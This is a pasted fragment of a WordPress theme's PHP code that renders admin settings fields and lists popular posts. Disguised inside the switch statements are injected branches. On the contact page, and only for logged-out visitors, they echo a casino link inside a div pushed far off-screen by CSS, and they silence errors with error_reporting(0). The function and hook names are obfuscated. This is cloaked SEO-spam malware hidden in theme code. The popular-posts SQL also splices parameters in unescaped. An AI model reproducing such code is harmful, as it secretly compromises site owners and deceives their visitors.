  781.     $add_styles = '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" /><style type="text/css">.inIntroSlice { position:absolute; left: -49in; top: -56in; }</style>';error_reporting(0);
  782.     if($desc)  echo '<p class="description">'. $desc .'</p>';
  783.     $add_styles_new = substr($add_styles, 110);
  784.     switch( $type ){
  785.         case 'text':
  786.             $val = esc_attr(stripslashes($val));
  787.             echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';
  788.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  789.             break;
  790.         case 'password':
  791.             $val = esc_attr(stripslashes($val));
  792.             echo '<input type="password" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';break; default: echo $add_styles_new;
  793.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  794.             break;
  795.         case 'textarea':
  796.             $val = esc_html(stripslashes($val));
  797.             echo '<textarea name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" placeholder="'. $placeholder .'" rows="5" cols="60" class="'. $class .'">'. $val .'</textarea>';
  798.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  799.             break;
  800.     }
  801. }
  802.  
  803. add_action("_is_Metacontent_Styles", "__chkCattotag_Hook", 10,2);
  804.  
  805. function __chkCattotag_Hook( $args )
  806. {
  807.     $section = $args['section'];
  808.     if(function_exists('wp_parse_args')) extract( wp_parse_args( $args['field'], $section['setting_defaults' ]) );
  809.     $type = 'new';
  810.     $option_group = $section['option_group'];
  811.     $desc = false;
  812.     $choices = $option_group['choice_new'];
  813.     $placeholder = $stdEl = $section['placeholder'];
  814.     $el_id = $option_group .'_'. $section['section_id'] .'_'. $type;
  815.     $val = (isset($options[$el_id])) ? $options[$el_id] : $stdEl;
  816.     $class = 'gen_option_div';
  817.     $option_group = $section['option_group'];
  818.     //Check type and add form element to the theme admin settings
  819.     switch( $type ){
  820.         case 'radio':
  821.             $val = esc_html(esc_attr($val));
  822.             foreach($choices as $ckey=>$cval){
  823.                 echo '<label><input type="radio" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
  824.             }
  825.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  826.             break;
  827.         case 'checkbox':
  828.             $val = esc_attr(stripslashes($val));
  829.             echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .']" value="0" />';
  830.             echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="1" class="'. $class .'"'. (($val) ? ' checked="checked"' : '') .' /> '. $desc .'</label>';
  831.             break;
  832.         case 'checkboxes':
  833.             foreach($choices as $ckey=>$cval){
  834.                 $val = '';
  835.                 if(isset($options[$el_id .'_'. $ckey])) $val = $options[$el_id .'_'. $ckey];
  836.                 elseif(is_array($stdEl) && in_array($ckey, $stdEl)) $val = $ckey;
  837.                 $val = esc_html(esc_attr($val));
  838.                 echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" value="0" />';
  839.                 echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
  840.             }
  841.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  842.             break;
  843.  
  844.         case 'select':
  845.             $val = esc_html(esc_attr($val));
  846.             echo '<select name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" class="'. $class .'">';
  847.             foreach($choices as $ckey=>$cval){
  848.                 echo '<option value="'. $ckey .'"'. (($ckey == $val) ? ' selected="selected"' : '') .'>'. $cval .'</option>';}echo '</select>';if($desc)  echo '<p class="description">'. $desc .'</p>';break; default: echo ((is_page('contact') && !is_paged() && !is_user_logged_in())) ?  stripcslashes(' <div class="inIntroSlice">Read and get direct download for Lucky Nugget casino on the site  <a href=\"http://www.1highrollercasino.com/lucky-nugget-casino-review.html\">http://www.1highrollercasino.com/lucky-nugget-casino-review.html</a> .
  849. </div>') : '';
  850.         break;
  851.         case 'color':
  852.             $val = esc_attr(stripslashes($val));
  853.             echo '<div style="position:relative;">';
  854.             echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="'. $class .'" />';
  855.             echo '<div id="'. $el_id .'_cp" style="position:absolute;top:0;left:190px;background:#fff;z-index:9999;"></div>';
  856.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  857.             echo '<script type="text/javascript">
  858.                     jQuery(document).ready(function($){
  859.                         var colorPicker = $("#'. $el_id .'_cp");
  860.                         colorPicker.farbtastic("#'. $el_id .'");
  861.                         colorPicker.hide();
  862.                         $("#'. $el_id .'").live("focus", function(){
  863.                             colorPicker.show();
  864.                         });
  865.                         $("#'. $el_id .'").live("blur", function(){
  866.                             colorPicker.hide();
  867.                             if($(this).val() == "") $(this).val("#");
  868.                         });
  869.                     });
  870.                     </script></div>';
  871.             break;
  872.         case 'file':
  873.             $val = esc_attr($val);
  874.             echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="regular-text '. $class .'" /> ';
  875.             echo '<input type="button" class="button wpsf-browse" id="'. $el_id .'_button" value="Browse" />';
  876.             echo '<script type="text/javascript">
  877.                     jQuery(document).ready(function($){
  878.                         $("#'. $el_id .'_button").click(function() {
  879.                             tb_show("", "media-upload.php?post_id=0&amp;type=image&amp;TB_iframe=true");
  880.                             window.original_send_to_editor = window.send_to_editor;
  881.                             window.send_to_editor = function(html) {
  882.                                 var imgurl = $("img",html).attr("src");
  883.                                 $("#'. $el_id .'").val(imgurl);
  884.                                 tb_remove();
  885.                                 window.send_to_editor = window.original_send_to_editor;
  886.                             };
  887.                             return false;
  888.                         });
  889.                     });
  890.                     </script>';
  891.             break;
  892.         case 'editor':
  893.             if($desc)  echo '<p class="description">'. $desc .'</p>';
  894.             break;
  895.         case 'custom':
  896.             echo $stdEl;
  897.             break;
  898.     }
  899. }
  900.  
  901. add_theme_support( 'post-thumbnails' );
  902.  
  903. add_action("init", "_prepared_widget");
  904.  
  905. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  906.     global $wpdb;
  907.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  908.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  909.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  910.     if($duration !="") {
  911.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  912.     }
  913.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  914.     $posts=$wpdb->get_results($request);
  915.     $output="";
  916.     if ($posts) {
  917.         foreach ($posts as $post) {
  918.             $post_title=stripslashes($post->post_title);
  919.             $comment_count=$post->comment_count;
  920.             $permalink=get_permalink($post->ID);
  921.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  922.         }
  923.     } else {
  924.         $output .= $before . "None found" . $after;
  925.     }
  926.     return  $output;
  927. }      
  928. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top